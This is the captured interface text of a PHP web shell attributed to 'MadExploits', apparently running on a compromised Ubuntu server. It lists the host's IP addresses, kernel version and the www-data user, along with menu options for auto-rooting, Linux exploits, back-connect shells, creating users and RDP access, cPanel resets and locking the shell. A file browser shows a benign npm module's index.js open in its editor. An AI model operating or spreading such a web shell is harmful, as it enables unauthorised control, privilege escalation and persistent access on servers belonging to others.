Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
internal-ip /
[ HOME SHELL ]
Name
Size
Permission
Action
index.d.ts
1.33
KB
-rw-r--r--
index.js
1.26
KB
-rw-r--r--
license
1.08
KB
-rw-r--r--
package.json
1.75
KB
-rw-r--r--
readme.md
1.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
'use strict'; const os = require('os'); const defaultGateway = require('default-gateway'); const ipaddr = require('ipaddr.js'); function findIp(gateway) { const interfaces = os.networkInterfaces(); const gatewayIp = ipaddr.parse(gateway); let ip; // Look for the matching interface in all local interfaces Object.keys(interfaces).some(name => { return interfaces[name].some(addr => { const prefix = ipaddr.parse(addr.netmask).prefixLengthFromSubnetMask(); const net = ipaddr.parseCIDR(`${addr.address}/${prefix}`); if (net[0] && net[0].kind() === gatewayIp.kind() && gatewayIp.match(net)) { ip = net[0].toString(); } return Boolean(ip); }); }); return ip; } function promise(family) { return defaultGateway[family]().then(result => { return findIp(result.gateway) || null; }).catch(() => null); } function sync(family) { try { const result = defaultGateway[family].sync(); return findIp(result.gateway) || null; } catch (error) { return null; } } const internalIp = {}; internalIp.v6 = () => promise('v6'); internalIp.v4 = () => promise('v4'); internalIp.v6.sync = () => sync('v6'); internalIp.v4.sync = () => sync('v4'); module.exports = internalIp; // TODO: Remove this for the next major release module.exports.default = internalIp;
Close